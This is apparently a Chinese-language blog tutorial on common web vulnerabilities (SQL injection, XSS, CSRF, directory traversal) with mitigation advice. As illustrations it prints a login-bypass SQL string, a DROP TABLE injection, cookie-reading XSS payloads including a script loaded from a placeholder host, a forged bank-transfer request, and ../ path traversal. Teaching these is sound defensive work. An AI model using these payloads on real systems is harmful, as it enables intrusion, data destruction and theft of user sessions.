Web开发中常见的安全问题
SQL injection
漏洞简介
SQL注入:在参数处填写特殊字符以修改数据库查询命令功能,从而窃取或修改数据库信息。不安全的数据库调用方式容易引起此漏洞。
例如,利用字符串拼接书写SQL语句极易引起SQL注入。1
2# 一个十分初级的SQLi导致登录绕过的情况
query_str = "SELECT id FROM users WHERE name = '%s' and password = '%s'" % (username, password)
当用户填写信息导致username = "' or '1' = '1' /*"
时,query_str 中实际的判断条件为:name = '' or '1' = '1'
, 显然为真,导致登录绕过。
SQLi 的危害不仅于此,发现此漏洞后可以通过添加分号后接各种语句达到遍历数据库甚至删库等操作。例如将前文中 name
填写为 ';DROP TABLE user;`
等。
规避方法
规避此漏洞最好的办法就是:不要自行组装查询语句,善用各种成熟的ORM框架,并禁止采用类似eval的函数。只要规范的使用OEM框架,SQLi就不会影响到日常开发。这是知识成本最低且最安全的方式。
XSS
漏洞简介
XSS即跨站脚本攻击,工作方式是在页面中嵌入恶意js代码,导致用户cookie等敏感信息泄露。可藉由表单填写、邮件、钓鱼网站等触发。实际工作时往往会携带用户cookie和网站域名请求一个攻击者预先布置好的服务器,导致攻击者直接窃取后台地址及登录权限,或邮箱登录权限等。
例如,在表单填写中填入:1
<img src='' onerror='alert(document.cookie)' />
或者直接引入一个js文件,例如1
<script src='http://any_site/xss.js' />
规避方法
当前各种前端框架均提供有基本的xss防御手段,如
- 将各种标签转换为
<
实体字符 - 在模板嵌入时采用text格式而不是html的格式。例如jquery插件等
但是具体使用时仍然需要测试,特别是某些二次展示或小型独立插件渲染的地方。比如将某段用户信息重新展示在弹出层,气泡框等地方的插件等,需要注意其是否有专门的参数控制渲染方式等。
另,开发之外,在平时使用中,尽量选用一个好用的邮件客户端。
CSRF
漏洞简介
CSRF 即 跨站请求伪造,其工作方式是通过骗取用户加载伪造的请求,向网站请求、POST数据以达成攻击目的。
例如,在A网站制作一个转账请求的链接诱导用户点击从而请求B银行网站接口1
2
3var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://某银行/某转账操作/');
xhr.send('账户=我的账户&金额=好多好多钱');
若此用户正保存此银行网站cookie且银行网站无法防御CSRF攻击,则用户转账请求被伪造成功。
规避方法
CSRF通常危害各种有副作用的请求操作,例如提交表单等,主要在POST领域,所以通常也是防御POST行为。
这要求我们的POST操作不能仅仅信任cookie,还需要一些瞬时验证,比如在展示表单的时候在其中隐藏一次性token,在提交时验证并消耗此token。Django对此有标准的CSRF中间件。
另, 开发之外,生活中尽量使用现代浏览器,例如Chrome等,这些浏览器有严格的CORS机制防止跨站请求出现。
目录穿越
漏洞简介
此漏洞很少出现在现代框架中,其工作方式是在浏览器中尝试输入带有../
的路径,去请求更上层的文件。例如尝试请求机器 /etc
目录下的某些关键配置等。
规避方法
除了在一些非常古老的php框架中外,此漏洞一般不会出现,但是也不要自己主动制造,比如不要在代码中尝试将用户输入直接拼接到文件打开路径中。
结语
一句话: Web开发中永远不要相信用户输入。